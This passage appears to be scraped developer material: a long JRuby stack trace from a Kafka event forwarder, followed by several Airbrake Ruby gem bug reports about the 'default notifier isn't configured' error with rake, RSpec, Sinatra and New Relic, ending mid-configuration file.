        uri_3a_classloader_3a_.gems.websocket_minus_driver_minus_0_dot_6_dot_4_minus_java.lib.websocket.driver.hybi.invokeOther18:emit_frame(uri_3a_classloader_3a_/gems/websocket_minus_driver_minus_0_dot_6_dot_4_minus_java/lib/websocket/driver/uri:classloader:/gems/websocket-driver-0.6
.4-java/lib/websocket/driver/hybi.rb:123)
        uri_3a_classloader_3a_.gems.websocket_minus_driver_minus_0_dot_6_dot_4_minus_java.lib.websocket.driver.hybi.parse(uri:classloader:/gems/websocket-driver-0.6.4-java/lib/websocket/driver/hybi.rb:123)
        uri_3a_classloader_3a_.gems.websocket_minus_driver_minus_0_dot_6_dot_4_minus_java.lib.websocket.driver.client.invokeSuper24:parse(uri_3a_classloader_3a_/gems/websocket_minus_driver_minus_0_dot_6_dot_4_minus_java/lib/websocket/driver/uri:classloader:/gems/websocket-driver-0.6.4-java/lib/websocket/driver/client.rb:63)
        uri_3a_classloader_3a_.gems.websocket_minus_driver_minus_0_dot_6_dot_4_minus_java.lib.websocket.driver.client.parse(uri:classloader:/gems/websocket-driver-0.6.4-java/lib/websocket/driver/client.rb:63)
        uri_3a_classloader_3a_.gems.faye_minus_websocket_minus_0_dot_10_dot_5.lib.faye.websocket.api.invokeOther5:parse(uri_3a_classloader_3a_/gems/faye_minus_websocket_minus_0_dot_10_dot_5/lib/faye/websocket/uri:classloader:/gems/faye-websocket-0.10.5/lib/faye/websocket/api.rb:148)
        uri_3a_classloader_3a_.gems.faye_minus_websocket_minus_0_dot_10_dot_5.lib.faye.websocket.api.parse(uri:classloader:/gems/faye-websocket-0.10.5/lib/faye/websocket/api.rb:148)
        org.jruby.RubyClass.finvoke(org/jruby/RubyClass.java:531)

        org.jruby.RubyBasicObject.send19(org/jruby/RubyBasicObject.java:1668)
        org.jruby.RubyBasicObject$INVOKER$i$send19.call(org/jruby/RubyBasicObject$INVOKER$i$send19.gen)
        uri_3a_classloader_3a_.gems.faye_minus_websocket_minus_0_dot_10_dot_5.lib.faye.websocket.client.invokeOther5:__send__(uri_3a_classloader_3a_/gems/faye_minus_websocket_minus_0_dot_10_dot_5/lib/faye/websocket/uri:classloader:/gems/faye-websocket-0.10.5/lib/faye/websocket/client.rb:80)
        uri_3a_classloader_3a_.gems.faye_minus_websocket_minus_0_dot_10_dot_5.lib.faye.websocket.client.receive_data(uri:classloader:/gems/faye-websocket-0.10.5/lib/faye/websocket/client.rb:80)
        uri_3a_classloader_3a_.gems.eventmachine_minus_1_dot_2_dot_1_minus_java.lib.eventmachine.invokeOther155:receive_data(uri_3a_classloader_3a_/gems/eventmachine_minus_1_dot_2_dot_1_minus_java/lib/uri:classloader:/gems/eventmachine-1.2.1-java/lib/eventmachine.rb:1537)
        uri_3a_classloader_3a_.gems.eventmachine_minus_1_dot_2_dot_1_minus_java.lib.eventmachine.event_callback(uri:classloader:/gems/eventmachine-1.2.1-java/lib/eventmachine.rb:1537)
        uri_3a_classloader_3a_.gems.eventmachine_minus_1_dot_2_dot_1_minus_java.lib.jeventmachine.invokeOther5:event_callback(uri_3a_classloader_3a_/gems/eventmachine_minus_1_dot_2_dot_1_minus_java/lib/uri:classloader:/gems/eventmachine-1.2.1-java/lib/jeventmachine.rb:94)
        uri_3a_classloader_3a_.gems.eventmachine_minus_1_dot_2_dot_1_minus_java.lib.jeventmachine.eventCallback(uri:classloader:/gems/eventmachine-1.2.1-java/lib/jeventmachine.rb:94)
        org.jruby.javasupport.proxy.JavaProxyConstructor$MethodInvocationHandler.invokeRuby(org/jruby/javasupport/proxy/JavaProxyConstructor.java:255)
        org.jruby.javasupport.proxy.JavaProxyConstructor$MethodInvocationHandler.invoke(org/jruby/javasupport/proxy/JavaProxyConstructor.java:238)
        org.jruby.proxy.com.rubyeventmachine.EmReactor$Proxy1.eventCallback(org/jruby/proxy/com/rubyeventmachine/EmReactor$Proxy1)
        com.rubyeventmachine.EmReactor.eventCallback(com/rubyeventmachine/EmReactor.java:89)
        org.jruby.proxy.com.rubyeventmachine.EmReactor$Proxy1.__super$eventCallback(org/jruby/proxy/com/rubyeventmachine/EmReactor$Proxy1)
        java.lang.reflect.Method.invoke(java/lang/reflect/Method.java:498)
        org.jruby.javasupport.JavaMethod.invokeDirectSuperWithExceptionHandling(org/jruby/javasupport/JavaMethod.java:408)
        org.jruby.javasupport.JavaMethod.tryProxyInvocation(org/jruby/javasupport/JavaMethod.java:611)
        org.jruby.javasupport.JavaMethod.invokeDirect(org/jruby/javasupport/JavaMethod.java:287)
        org.jruby.RubyClass.finvoke(org/jruby/RubyClass.java:522)
        org.jruby.javasupport.proxy.JavaProxyConstructor$MethodInvocationHandler.invokeRuby(org/jruby/javasupport/proxy/JavaProxyConstructor.java:260)
        org.jruby.javasupport.proxy.JavaProxyConstructor$MethodInvocationHandler.invoke(org/jruby/javasupport/proxy/JavaProxyConstructor.java:238)
        org.jruby.proxy.com.rubyeventmachine.EmReactor$Proxy1.eventCallback(org/jruby/proxy/com/rubyeventmachine/EmReactor$Proxy1)
        com.rubyeventmachine.EmReactor.isReadable(com/rubyeventmachine/EmReactor.java:259)
        com.rubyeventmachine.EmReactor.processIO(com/rubyeventmachine/EmReactor.java:204)
        com.rubyeventmachine.EmReactor.run(com/rubyeventmachine/EmReactor.java:111)
        java.lang.reflect.Method.invoke(java/lang/reflect/Method.java:498)
        org.jruby.javasupport.JavaMethod.invokeDirectWithExceptionHandling(org/jruby/javasupport/JavaMethod.java:438)
        org.jruby.javasupport.JavaMethod.tryProxyInvocation(org/jruby/javasupport/JavaMethod.java:623)
        org.jruby.javasupport.JavaMethod.invokeDirect(org/jruby/javasupport/JavaMethod.java:299)
        RUBY.run_machine(uri:classloader:/gems/eventmachine-1.2.1-java/lib/jeventmachine.rb:113)
        RUBY.run(uri:classloader:/gems/eventmachine-1.2.1-java/lib/eventmachine.rb:194)
        bin.sources.bay_event_forwarder.invokeOther35:run(bin/sources/bay_event_forwarder.rb:28)
        bin.sources.bay_event_forwarder.start!(bin/sources/bay_event_forwarder.rb:28)
        bin.sources.bay_event_forwarder.invokeOther49:start!(bin/sources/bay_event_forwarder.rb:51)
        bin.sources.bay_event_forwarder.<main>(bin/sources/bay_event_forwarder.rb:51)
        java.lang.invoke.MethodHandle.invokeWithArguments(java/lang/invoke/MethodHandle.java:627)
        org.jruby.Ruby.runScript(org/jruby/Ruby.java:846)
        org.jruby.Ruby.runNormally(org/jruby/Ruby.java:761)
        org.jruby.Ruby.runNormally(org/jruby/Ruby.java:779)
        org.jruby.Ruby.runFromMain(org/jruby/Ruby.java:592)
        org.jruby.Main.doRunFromMain(org/jruby/Main.java:425)
        org.jruby.Main.internalRun(org/jruby/Main.java:313)
        org.jruby.Main.run(org/jruby/Main.java:242)
        org.jruby.mains.JRubyMain.run(org/jruby/mains/JRubyMain.java:108)
        org.jruby.mains.JRubyMain.main(org/jruby/mains/JRubyMain.java:39)
        org.jruby.mains.JarMain.main(org/jruby/mains/JarMain.java:6)
java.util.concurrent.ExecutionException: org.apache.kafka.common.errors.NotLeaderForPartitionException: This server is not the leader for that topic-partition.
        at org.apache.kafka.clients.producer.internals.FutureRecordMetadata.valueOrError(org/apache/kafka/clients/producer/internals/FutureRecordMetadata.java:65)
        at org.apache.kafka.clients.producer.internals.FutureRecordMetadata.get(org/apache/kafka/clients/producer/internals/FutureRecordMetadata.java:60)
        at org.apache.kafka.clients.producer.internals.FutureRecordMetadata.get(org/apache/kafka/clients/producer/internals/FutureRecordMetadata.java:25)
        at java.lang.reflect.Method.invoke(java/lang/reflect/Method.java:498)
        at org.jruby.javasupport.JavaMethod.invokeDirectWithExceptionHandling(org/jruby/javasupport/JavaMethod.java:468)
        at org.jruby.javasupport.JavaMethod.invokeDirect(org/jruby/javasupport/JavaMethod.java:326)
        at uri_3a_classloader_3a_.lib.sources.bay_event_forwarder.invokeOther13:get(uri_3a_classloader_3a_/lib/sources/uri:classloader:/lib/sources/bay_event_forwarder.rb:85)
        at uri_3a_classloader_3a_.lib.sources.bay_event_forwarder.produce!(uri:classloader:/lib/sources/bay_event_forwarder.rb:85)
        at uri_3a_classloader_3a_.lib.sources.bay_event_forwarder.invokeOther0:produce!(uri_3a_classloader_3a_/lib/sources/uri:classloader:/lib/sources/bay_event_forwarder.rb:192)
        at uri_3a_classloader_3a_.lib.sources.bay_event_forwarder.block in setup_everything!(uri:classloader:/lib/sources/bay_event_forwarder.rb:192)
        at org.jruby.RubyProc.call(org/jruby/RubyProc.java:324)
        at org.jruby.RubyProc.call19(org/jruby/RubyProc.java:308)
        at org.jruby.RubyProc$INVOKER$i$0$0$call19.call(org/jruby/RubyProc$INVOKER$i$0$0$call19.gen)
        at uri_3a_classloader_3a_.lib.sdp.park_server.events.invokeOther46:call(uri_3a_classloader_3a_/lib/sdp/park_server/uri:classloader:/lib/sdp/park_server/events.rb:160)
        at uri_3a_classloader_3a_.lib.sdp.park_server.events.process_faye_event_containing_park_server_event(uri:classloader:/lib/sdp/park_server/events.rb:160)
        at uri_3a_classloader_3a_.lib.sdp.park_server.events.invokeOther16:process_faye_event_containing_park_server_event(uri_3a_classloader_3a_/lib/sdp/park_server/uri:classloader:/lib/sdp/park_server/events.rb:190)
        at uri_3a_classloader_3a_.lib.sdp.park_server.events.handle_faye_event(uri:classloader:/lib/sdp/park_server/events.rb:190)
        at uri_3a_classloader_3a_.lib.sdp.park_server.events.invokeOther23:handle_faye_event(uri_3a_classloader_3a_/lib/sdp/park_server/uri:classloader:/lib/sdp/park_server/events.rb:293)
        at uri_3a_classloader_3a_.lib.sdp.park_server.events.block in consume(uri:classloader:/lib/sdp/park_server/events.rb:293)
        at org.jruby.RubyProc.call(org/jruby/RubyProc.java:324)

        at org.jruby.RubyProc.call19(org/jruby/RubyProc.java:308)
        at org.jruby.RubyProc$INVOKER$i$0$0$call19.call(org/jruby/RubyProc$INVOKER$i$0$0$call19.gen)
        at uri_3a_classloader_3a_.gems.websocket_minus_driver_minus_0_dot_6_dot_4_minus_java.lib.websocket.driver.event_emitter.invokeOther0:call(uri_3a_classloader_3a_/gems/websocket_minus_driver_minus_0_dot_6_dot_4_minus_java/lib/websocket/driver/uri:classloader:/gems/websocket-driver-0.6.4-java/lib/websocket/driver/event_emitter.rb:39)
        at uri_3a_classloader_3a_.gems.websocket_minus_driver_minus_0_dot_6_dot_4_minus_java.lib.websocket.driver.event_emitter.block in emit(uri:classloader:/gems/websocket-driver-0.6.4-java/lib/websocket/driver/event_emitter.rb:39)
        at org.jruby.RubyArray.each(org/jruby/RubyArray.java:1734)
        at org.jruby.RubyArray$INVOKER$i$0$0$each.call(org/jruby/RubyArray$INVOKER$i$0$0$each.gen)
        at uri_3a_classloader_3a_.gems.websocket_minus_driver_minus_0_dot_6_dot_4_minus_java.lib.websocket.driver.event_emitter.invokeOther6:each(uri_3a_classloader_3a_/gems/websocket_minus_driver_minus_0_dot_6_dot_4_minus_java/lib/websocket/driver/uri:classloader:/gems/websocket-driver-0.6.4-java/lib/websocket/driver/event_emitter.rb:38)
        at uri_3a_classloader_3a_.gems.websocket_minus_driver_minus_0_dot_6_dot_4_minus_java.lib.websocket.driver.event_emitter.emit(uri:classloader:/gems/websocket-driver-0.6.4-java/lib/websocket/driver/event_emitter.rb:38)
        at uri_3a_classloader_3a_.gems.faye_minus_websocket_minus_0_dot_10_dot_5.lib.faye.websocket.api.event_target.invokeOther33:emit(uri_3a_classloader_3a_/gems/faye_minus_websocket_minus_0_dot_10_dot_5/lib/faye/websocket/api/uri:classloader:/gems/faye-websocket-0.10.5/lib/faye/websocket/api/event_target.rb:44)
        at uri_3a_classloader_3a_.gems.faye_minus_websocket_minus_0_dot_10_dot_5.lib.faye.websocket.api.event_target.dispatch_event(uri:classloader:/gems/faye-websocket-0.10.5/lib/faye/websocket/api/event_target.rb:44)
        at uri_3a_classloader_3a_.gems.faye_minus_websocket_minus_0_dot_10_dot_5.lib.faye.websocket.api.invokeOther13:dispatch_event(uri_3a_classloader_3a_/gems/faye_minus_websocket_minus_0_dot_10_dot_5/lib/faye/websocket/uri:classloader:/gems/faye-websocket-0.10.5/lib/faye/websocket/api.rb:109)
        at uri_3a_classloader_3a_.gems.faye_minus_websocket_minus_0_dot_10_dot_5.lib.faye.websocket.api.receive_message(uri:classloader:/gems/faye-websocket-0.10.5/lib/faye/websocket/api.rb:109)
        at uri_3a_classloader_3a_.gems.faye_minus_websocket_minus_0_dot_10_dot_5.lib.faye.websocket.api.invokeOther6:receive_message(uri_3a_classloader_3a_/gems/faye_minus_websocket_minus_0_dot_10_dot_5/lib/faye/websocket/uri:classloader:/gems/faye-websocket-0.10.5/lib/faye/websocket/api.rb:43)
        at uri_3a_classloader_3a_.gems.faye_minus_websocket_minus_0_dot_10_dot_5.lib.faye.websocket.api.block in initialize(uri:classloader:/gems/faye-websocket-0.10.5/lib/faye/websocket/api.rb:43)
        at org.jruby.RubyProc.call(org/jruby/RubyProc.java:324)
        at org.jruby.RubyProc.call19(org/jruby/RubyProc.java:308)
        at org.jruby.RubyProc$INVOKER$i$0$0$call19.call(org/jruby/RubyProc$INVOKER$i$0$0$call19.gen)
        at uri_3a_classloader_3a_.gems.websocket_minus_driver_minus_0_dot_6_dot_4_minus_java.lib.websocket.driver.event_emitter.invokeOther0:call(uri_3a_classloader_3a_/gems/websocket_minus_driver_minus_0_dot_6_dot_4_minus_java/lib/websocket/driver/uri:classloader:/gems/websocket-driver-0.6.4-java/lib/websocket/driver/event_emitter.rb:39)
        at uri_3a_classloader_3a_.gems.websocket_minus_driver_minus_0_dot_6_dot_4_minus_java.lib.websocket.driver.event_emitter.block in emit(uri:classloader:/gems/websocket-driver-0.6.4-java/lib/websocket/driver/event_emitter.rb:39)
        at org.jruby.RubyArray.each(org/jruby/RubyArray.java:1734)
        at org.jruby.RubyArray$INVOKER$i$0$0$each.call(org/jruby/RubyArray$INVOKER$i$0$0$each.gen)
        at uri_3a_classloader_3a_.gems.websocket_minus_driver_minus_0_dot_6_dot_4_minus_java.lib.websocket.driver.event_emitter.invokeOther6:each(uri_3a_classloader_3a_/gems/websocket_minus_driver_minus_0_dot_6_dot_4_minus_java/lib/websocket/driver/uri:classloader:/gems/websocket-driver-0.6.4-java/lib/websocket/driver/event_emitter.rb:38)
        at uri_3a_classloader_3a_.gems.websocket_minus_driver_minus_0_dot_6_dot_4_minus_java.lib.websocket.driver.event_emitter.emit(uri:classloader:/gems/websocket-driver-0.6.4-java/lib/websocket/driver/event_emitter.rb:38)
        at uri_3a_classloader_3a_.gems.websocket_minus_driver_minus_0_dot_6_dot_4_minus_java.lib.websocket.driver.hybi.invokeOther38:emit(uri_3a_classloader_3a_/gems/websocket_minus_driver_minus_0_dot_6_dot_4_minus_java/lib/websocket/driver/uri:classloader:/gems/websocket-driver-0.6.4-java/lib/websocket/driver/hybi.rb:396)
        at uri_3a_classloader_3a_.gems.websocket_minus_driver_minus_0_dot_6_dot_4_minus_java.lib.websocket.driver.hybi.emit_message(uri:classloader:/gems/websocket-driver-0.6.4-java/lib/websocket/driver/hybi.rb:396)
        at uri_3a_classloader_3a_.gems.websocket_minus_driver_minus_0_dot_6_dot_4_minus_java.lib.websocket.driver.hybi.invokeOther102:emit_message(uri_3a_classloader_3a_/gems/websocket_minus_driver_minus_0_dot_6_dot_4_minus_java/lib/websocket/driver/uri:classloader:/gems/websocket-driver-0.6.4-java/lib/websocket/driver/hybi.rb:379)
        at uri_3a_classloader_3a_.gems.websocket_minus_driver_minus_0_dot_6_dot_4_minus_java.lib.websocket.driver.hybi.emit_frame(uri:classloader:/gems/websocket-driver-0.6.4-java/lib/websocket/driver/hybi.rb:379)
        at uri_3a_classloader_3a_.gems.websocket_minus_driver_minus_0_dot_6_dot_4_minus_java.lib.websocket.driver.hybi.invokeOther18:emit_frame(uri_3a_classloader_3a_/gems/websocket_minus_driver_minus_0_dot_6_dot_4_minus_java/lib/websocket/driver/uri:classloader:/gems/websocket-driver-0.6.4-java/lib/websocket/driver/hybi.rb:123)
        at uri_3a_classloader_3a_.gems.websocket_minus_driver_minus_0_dot_6_dot_4_minus_java.lib.websocket.driver.hybi.parse(uri:classloader:/gems/websocket-driver-0.6.4-java/lib/websocket/driver/hybi.rb:123)
        at uri_3a_classloader_3a_.gems.websocket_minus_driver_minus_0_dot_6_dot_4_minus_java.lib.websocket.driver.client.invokeSuper24:parse(uri_3a_classloader_3a_/gems/websocket_minus_driver_minus_0_dot_6_dot_4_minus_java/lib/websocket/driver/uri:classloader:/gems/websocket-driver-0.6.4-java/lib/websocket/driver/client.rb:63)
        at uri_3a_classloader_3a_.gems.websocket_minus_driver_minus_0_dot_6_dot_4_minus_java.lib.websocket.driver.client.parse(uri:classloader:/gems/websocket-driver-0.6.4-java/lib/websocket/driver/client.rb:63)
        at uri_3a_classloader_3a_.gems.faye_minus_websocket_minus_0_dot_10_dot_5.lib.faye.websocket.api.invokeOther5:parse(uri_3a_classloader_3a_/gems/faye_minus_websocket_minus_0_dot_10_dot_5/lib/faye/websocket/uri:classloader:/gems/faye-websocket-0.10.5/lib/faye/websocket/api.rb:148)
        at uri_3a_classloader_3a_.gems.faye_minus_websocket_minus_0_dot_10_dot_5.lib.faye.websocket.api.parse(uri:classloader:/gems/faye-websocket-0.10.5/lib/faye/websocket/api.rb:148)
        at org.jruby.RubyClass.finvoke(org/jruby/RubyClass.java:531)
        at org.jruby.RubyBasicObject.send19(org/jruby/RubyBasicObject.java:1668)
        at org.jruby.RubyBasicObject$INVOKER$i$send19.call(org/jruby/RubyBasicObject$INVOKER$i$send19.gen)
        at uri_3a_classloader_3a_.gems.faye_minus_websocket_minus_0_dot_10_dot_5.lib.faye.websocket.client.invokeOther5:__send__(uri_3a_classloader_3a_/gems/faye_minus_websocket_minus_0_dot_10_dot_5/lib/faye/websocket/uri:classloader:/gems/faye-websocket-0.10.5/lib/faye/websocket/client.rb:80)
        at uri_3a_classloader_3a_.gems.faye_minus_websocket_minus_0_dot_10_dot_5.lib.faye.websocket.client.receive_data(uri:classloader:/gems/faye-websocket-0.10.5/lib/faye/websocket/client.rb:80)
        at uri_3a_classloader_3a_.gems.eventmachine_minus_1_dot_2_dot_1_minus_java.lib.eventmachine.invokeOther155:receive_data(uri_3a_classloader_3a_/gems/eventmachine_minus_1_dot_2_dot_1_minus_java/lib/uri:classloader:/gems/eventmachine-1.2.1-java/lib/eventmachine.rb:1537)
        at uri_3a_classloader_3a_.gems.eventmachine_minus_1_dot_2_dot_1_minus_java.lib.eventmachine.event_callback(uri:classloader:/gems/eventmachine-1.2.1-java/lib/eventmachine.rb:1537)
        at uri_3a_classloader_3a_.gems.eventmachine_minus_1_dot_2_dot_1_minus_java.lib.jeventmachine.invokeOther5:event_callback(uri_3a_classloader_3a_/gems/eventmachine_minus_1_dot_2_dot_1_minus_java/lib/uri:classloader:/gems/eventmachine-1.2.1-java/lib/jeventmachine.rb:94)
        at uri_3a_classloader_3a_.gems.eventmachine_minus_1_dot_2_dot_1_minus_java.lib.jeventmachine.eventCallback(uri:classloader:/gems/eventmachine-1.2.1-java/lib/jeventmachine.rb:94)
        at org.jruby.javasupport.proxy.JavaProxyConstructor$MethodInvocationHandler.invokeRuby(org/jruby/javasupport/proxy/JavaProxyConstructor.java:255)
        at org.jruby.javasupport.proxy.JavaProxyConstructor$MethodInvocationHandler.invoke(org/jruby/javasupport/proxy/JavaProxyConstructor.java:238)
        at org.jruby.proxy.com.rubyeventmachine.EmReactor$Proxy1.eventCallback(org/jruby/proxy/com/rubyeventmachine/EmReactor$Proxy1)
        at com.rubyeventmachine.EmReactor.eventCallback(com/rubyeventmachine/EmReactor.java:89)
        at org.jruby.proxy.com.rubyeventmachine.EmReactor$Proxy1.__super$eventCallback(org/jruby/proxy/com/rubyeventmachine/EmReactor$Proxy1)
        at java.lang.reflect.Method.invoke(java/lang/reflect/Method.java:498)
        at org.jruby.javasupport.JavaMethod.invokeDirectSuperWithExceptionHandling(org/jruby/javasupport/JavaMethod.java:408)
        at org.jruby.javasupport.JavaMethod.tryProxyInvocation(org/jruby/javasupport/JavaMethod.java:611)
        at org.jruby.javasupport.JavaMethod.invokeDirect(org/jruby/javasupport/JavaMethod.java:287)
        at org.jruby.RubyClass.finvoke(org/jruby/RubyClass.java:522)
        at org.jruby.javasupport.proxy.JavaProxyConstructor$MethodInvocationHandler.invokeRuby(org/jruby/javasupport/proxy/JavaProxyConstructor.java:260)
        at org.jruby.javasupport.proxy.JavaProxyConstructor$MethodInvocationHandler.invoke(org/jruby/javasupport/proxy/JavaProxyConstructor.java:238)
        at org.jruby.proxy.com.rubyeventmachine.EmReactor$Proxy1.eventCallback(org/jruby/proxy/com/rubyeventmachine/EmReactor$Proxy1)
        at com.rubyeventmachine.EmReactor.isReadable(com/rubyeventmachine/EmReactor.java:259)
        at com.rubyeventmachine.EmReactor.processIO(com/rubyeventmachine/EmReactor.java:204)
        at com.rubyeventmachine.EmReactor.run(com/rubyeventmachine/EmReactor.java:111)
        at java.lang.reflect.Method.invoke(java/lang/reflect/Method.java:498)

       at java.lang.reflect.Method.invoke(java/lang/reflect/Method.java:498)
        at org.jruby.javasupport.JavaMethod.invokeDirectSuperWithExceptionHandling(org/jruby/javasupport/JavaMethod.java:408)
        at org.jruby.javasupport.JavaMethod.tryProxyInvocation(org/jruby/javasupport/JavaMethod.java:611)
        at org.jruby.javasupport.JavaMethod.invokeDirect(org/jruby/javasupport/JavaMethod.java:287)
        at org.jruby.RubyClass.finvoke(org/jruby/RubyClass.java:522)
        at org.jruby.javasupport.proxy.JavaProxyConstructor$MethodInvocationHandler.invokeRuby(org/jruby/javasupport/proxy/JavaProxyConstructor.java:260)
        at org.jruby.javasupport.proxy.JavaProxyConstructor$MethodInvocationHandler.invoke(org/jruby/javasupport/proxy/JavaProxyConstructor.java:238)
        at org.jruby.proxy.com.rubyeventmachine.EmReactor$Proxy1.eventCallback(org/jruby/proxy/com/rubyeventmachine/EmReactor$Proxy1)
        at com.rubyeventmachine.EmReactor.isReadable(com/rubyeventmachine/EmReactor.java:259)
        at com.rubyeventmachine.EmReactor.processIO(com/rubyeventmachine/EmReactor.java:204)
        at com.rubyeventmachine.EmReactor.run(com/rubyeventmachine/EmReactor.java:111)
        at java.lang.reflect.Method.invoke(java/lang/reflect/Method.java:498)
        at org.jruby.javasupport.JavaMethod.invokeDirectWithExceptionHandling(org/jruby/javasupport/JavaMethod.java:438)
        at org.jruby.javasupport.JavaMethod.tryProxyInvocation(org/jruby/javasupport/JavaMethod.java:623)
        at org.jruby.javasupport.JavaMethod.invokeDirect(org/jruby/javasupport/JavaMethod.java:299)
        at RUBY.run_machine(uri:classloader:/gems/eventmachine-1.2.1-java/lib/jeventmachine.rb:113)
        at RUBY.run(uri:classloader:/gems/eventmachine-1.2.1-java/lib/eventmachine.rb:194)
        at bin.sources.bay_event_forwarder.invokeOther35:run(bin/sources/bay_event_forwarder.rb:28)
        at bin.sources.bay_event_forwarder.start!(bin/sources/bay_event_forwarder.rb:28)
        at bin.sources.bay_event_forwarder.invokeOther49:start!(bin/sources/bay_event_forwarder.rb:51)
        at bin.sources.bay_event_forwarder.<main>(bin/sources/bay_event_forwarder.rb:51)
        at java.lang.invoke.MethodHandle.invokeWithArguments(java/lang/invoke/MethodHandle.java:627)
        at org.jruby.Ruby.runScript(org/jruby/Ruby.java:846)
        at org.jruby.Ruby.runNormally(org/jruby/Ruby.java:761)
        at org.jruby.Ruby.runNormally(org/jruby/Ruby.java:779)
        at org.jruby.Ruby.runFromMain(org/jruby/Ruby.java:592)
        at org.jruby.Main.doRunFromMain(org/jruby/Main.java:425)
        at org.jruby.Main.internalRun(org/jruby/Main.java:313)
        at org.jruby.Main.run(org/jruby/Main.java:242)
        at org.jruby.mains.JRubyMain.run(org/jruby/mains/JRubyMain.java:108)
        at org.jruby.mains.JRubyMain.main(org/jruby/mains/JRubyMain.java:39)
        at org.jruby.mains.JarMain.main(org/jruby/mains/JarMain.java:6)

"Airbrake::Error: the 'default' notifier isn't configured" thrown after unsuccessful specs

  • Airbrake version: 5.0.2
  • Airbrake-ruby version: 1.0.2
  • Ruby version: 2.2.3
  • Framework name & version: Rails 4.2.5

Airbrake config

Airbrake.configure do |config|
  config.project_id = 'foo'
  config.project_key = 'bar'

  config.environment = Rails.env
  config.ignore_environments = %w(development test)
end

Description

I am getting an error when using rake tasks, specifically: Airbrake::Error: the 'default' notifier isn't configured

This happens when RSpec's rake task exits because of a failing spec. This does not happen when specs succeed.

I'm using the latest version (1.0.2) and I'm not quite sure why #14 does not apply in this case, as it seems to be SystemExit as well.

I removed some irrelevant output from RSpec, but the output I get is this:

$ RAILS_ENV=test rake spec

--Snip--

Finished in 4.02 seconds (files took 2.22 seconds to load)
97 examples, 1 failure

Failed examples:

--Snip--

Randomized with seed 50266

/Users/rafaelgonzalez/.rvm/rubies/ruby-2.2.3/bin/ruby -I/Users/rafaelgonzalez/.rvm/gems/ruby-2.2.3/gems/rspec-core-3.4.1/lib:/Users/rafaelgonzalez/.rvm/gems/ruby-2.2.3/gems/rspec-support-3.4.1/lib /Users/rafaelgonzalez/.rvm/gems/ruby-2.2.3/gems/rspec-core-3.4.1/exe/rspec --pattern spec/\*\*\{,/\*/\*\*\}/\*_spec.rb failed
rake aborted!
Airbrake::Error: the 'default' notifier isn't configured
/Users/rafaelgonzalez/.rvm/gems/ruby-2.2.3/gems/airbrake-ruby-1.0.2/lib/airbrake-ruby.rb:282:in `call_notifier'
/Users/rafaelgonzalez/.rvm/gems/ruby-2.2.3/gems/airbrake-ruby-1.0.2/lib/airbrake-ruby.rb:236:in `build_notice'
/Users/rafaelgonzalez/.rvm/gems/ruby-2.2.3/gems/airbrake-5.0.2/lib/airbrake/rake/task_ext.rb:21:in `rescue in execute'
/Users/rafaelgonzalez/.rvm/gems/ruby-2.2.3/gems/airbrake-5.0.2/lib/airbrake/rake/task_ext.rb:19:in `execute'
SystemExit: exit
/Users/rafaelgonzalez/.rvm/gems/ruby-2.2.3/gems/rspec-core-3.4.1/lib/rspec/core/rake_task.rb:84:in `exit'
/Users/rafaelgonzalez/.rvm/gems/ruby-2.2.3/gems/rspec-core-3.4.1/lib/rspec/core/rake_task.rb:84:in `run_task'
/Users/rafaelgonzalez/.rvm/gems/ruby-2.2.3/gems/rspec-core-3.4.1/lib/rspec/core/rake_task.rb:96:in `block (2 levels) in define'
/Users/rafaelgonzalez/.rvm/gems/ruby-2.2.3/gems/rspec-core-3.4.1/lib/rspec/core/rake_task.rb:94:in `block in define'
/Users/rafaelgonzalez/.rvm/gems/ruby-2.2.3/gems/airbrake-5.0.2/lib/airbrake/rake/task_ext.rb:19:in `execute'
Tasks: TOP => spec
(See full trace by running task with --trace)

Adding the Airbrake config to spec_helper.rb does not work. I get the same error there, which exists the specs prematurely, then giving me the error a second time after the rake task has exited.

  • rake spec does not output anything for me when not specifying the environment, that is, it does not run the specs at all, and exits without doing anything. (I suspect this is because RSpec is under the :test group in my Gemfile)
  • bundle exec rspec does not trigger the error when specs fail.
  • bundle exec rake (which runs the specs) does trigger the error when specs fail (this is how I came across this issue in the first place)

Discussion on this issue initially started on #13, but I created an new issue as per @kyrylo's request.

The 'default' notifier isn't configured or both :project_id and :project_key are required

I am migrating from airbrake 4.3 to 5 and have the below issue:

/Users/kode/.rvm/gems/ruby-2.2.3/gems/airbrake-ruby-1.0.0/lib/airbrake-ruby.rb:282:in `call_notifier': the 'default' notifier isn't configured (Airbrake::Error)
  from /Users/kode/.rvm/gems/ruby-2.2.3/gems/airbrake-ruby-1.0.0/lib/airbrake-ruby.rb:149:in `notify_sync'
  from /Users/kode/.rvm/gems/ruby-2.2.3/gems/airbrake-ruby-1.0.0/lib/airbrake-ruby.rb:291:in `block in <top (required)>'
/Users/kode/.rvm/gems/ruby-2.2.3/gems/airbrake-ruby-1.0.0/lib/airbrake-ruby/notifier.rb:30:in `initialize': both :project_id and :project_key are required (Airbrake::Error)
  from /Users/kode/.rvm/gems/ruby-2.2.3/gems/airbrake-ruby-1.0.0/lib/airbrake-ruby.rb:104:in `new'
  from /Users/kode/.rvm/gems/ruby-2.2.3/gems/airbrake-ruby-1.0.0/lib/airbrake-ruby.rb:104:in `configure'
  from /Users/kode/webapps/customer-store-service/config/initializers/airbrake.rb:3:in `<top (required)>'

I loked at lib/airbrake-ruby.rb:282 and the docs, but didn't found a configuration for notifier. The configuration for the second error I looked at both :project_id and :project_key are required also seems to be ok. In my Sinatra app in config/initializers/airbrake.rb I have

require 'airbrake'

Airbrake.configure do |config|
  config.ignore_environments = %w(development test)
  config.project_id = ENV['AITBRAKE_PROJECT_ID']
  config.project_key = ENV['AIRBRAKE_PROJECT_KEY']
  ...

This blog post make me think, that this is removed from airbrake, but not in airbrake-ruby. Any idea?

Airbrake-ruby doesn't report error if newrelic_rpm is installed

  • Airbrake version: 5.0.2
  • Airbrake-ruby version: 1.0.2
  • Ruby version: 2.3.0
  • Framework name & version: Rails 4.2.5

Airbrake config

config/initializers/airbrake.rb

# Airbrake is an online tool that provides robust exception tracking in your Rails
# applications. In doing so, it allows you to easily review errors, tie an error
# to an individual piece of code, and trace the cause back to recent
# changes. Airbrake enables for easy categorization, searching, and prioritization
# of exceptions so that when errors occur, your team can quickly determine the
# root cause.
#
# Configuration details:
# https://github.com/airbrake/airbrake-ruby#configuration
Airbrake.configure do |c|
  # You must set both project_id & project_key. To find your project_id and
  # project_key navigate to your project's General Settings and copy the values
  # from the right sidebar.
  # https://github.com/airbrake/airbrake-ruby#project_id--project_key
  c.project_id = ENV['AIRBRAKE_PROJECT_ID']
  c.project_key = ENV['AIRBRAKE_API_KEY']

  # Configures the root directory of your project. Expects a String or a
  # Pathname, which represents the path to your project. Providing this option
